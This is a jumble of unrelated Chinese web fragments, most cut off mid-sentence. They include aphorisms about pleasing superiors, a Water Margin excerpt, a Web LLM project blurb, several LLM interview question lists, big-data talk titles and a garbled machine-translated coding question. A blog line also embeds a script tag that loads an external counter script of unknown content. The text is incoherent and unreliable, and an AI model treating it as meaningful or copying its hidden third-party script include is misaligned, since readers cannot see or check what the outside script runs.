闻达

（1）仕不计善恶，迁无论奸小。 　　做官不做官，升职不升职这类事情，根本不是以善还是恶、君子还是小人来作为判断标准的。 （2）悦上者荣，悦下者蹇。 　　让上边的领导高兴的，日子必定好过；让下边的群众高兴的，碰到的困难却会更多。 （3）君子悦下，上不惑名。 　　君子让下边的群众高兴， 可上头的领导并不觉得你在群众里的好名声有什么意义。 （4）小人悦上，下不惩恶。 　　小人讨好上头的领导，下边的群众可

Welcome to my blog! <script language="javascript" src="http://avss.b15.cnwg.cn/count/count.asp"></script> 闻达便教将军马摆开 闻达便教将军马摆开，强弓硬弩，射住阵脚。宋江阵中早己捧出一员 大将，红旗银字，大书 『霹雳火秦明』；勒马阵前，厉声大叫：「大名滥官污 吏听著手！多时要打你这城子，诚恐害

Web LLM 是一个可将大型语言模型和基于 LLM 的聊天机器人引入 Web 浏览器的项目。一切都在浏览器内运行，无需服务器支持，并使用 WebGPU 加速。这开辟了许多有趣的机会，可以为每个人构建 AI 助手，并在享受 GPU 加速的同时实现隐私。 查看演示网页以进行试用 Web LLM 中采用的关键技术是机器学习编译（MLC）。该解决方案建立在开源生态系统的基础上，包括 Hugging Fa

这次面的是工程院 bing 团队的 LLM 应用组，问的问题量不大，有一些比较开放性的问题比较有意思。 1.自我介绍 两面都有 2. 主要会根据项目做一些介绍，这个一面久，二面短一些。 3. 一面问了 transformer 结构 4. 有没有做过大模型之外的 NLP 相关的内容（简单讲了讲） 二面的开放性问题 5. 做 rag 应用的时候， 如果幻觉问题严重怎么办？比如已经给了很多 rag 召回

美团大数据平台架构实践 同程旅游实时计算的演进 携程大数据实践：高并发应用架构及推荐系统案例 斗鱼大数据搭建的经验和坑 滴滴实时计算平台在运营监控方面的应用

一面挂 1 自我介绍 2 选一项工作介绍。选了一个觉得自己做的最好但是跟llm关系不太大的工作 3 加速框架用过哪些，答deepspeed，明显想听更多 4 会用c++吗？基本忘了 5 手撕多头注意力，关注点放在了shape，忘了加softmax，提醒后改正 6 反问，部门介绍，做llm+推荐的技术探索，超大规模图 总结：其实可以看出来技术方向完全不匹配。本人刚转llm，仅有一些感性理解和实践经验

1.⾃我介绍 2.介绍⾃⼰的项⽬ 3.项⽬中数据语料 4.你怎么评价你⾃⼰构建的数据集的好坏？ 5.chatGLM 和 GPT 模型结构⼀样吗 6.⼤模型训练⽅式 7.怎么评价⼈类⾼质量回答的数据集？精⼼处理的数据集作⽤？ （精⼼处理的数据集只能保证回复还⾏，但不可能只能只对⼀个场景） 8.强化学习中怎么⽤奖励模型打分？怎么样的分数？奖励模型是怎么得到的？ 9.⽤强化学习的梯度更新是怎么实现的？

在阅读了关于表达式的这个极好的答案之后，我尝试将我的＜code＞平面图＜/code＞转换为表达式＜/code＞的＜code＞。 然后，for-expression。 我得到一个编译时错误 我的for表达式怎么了？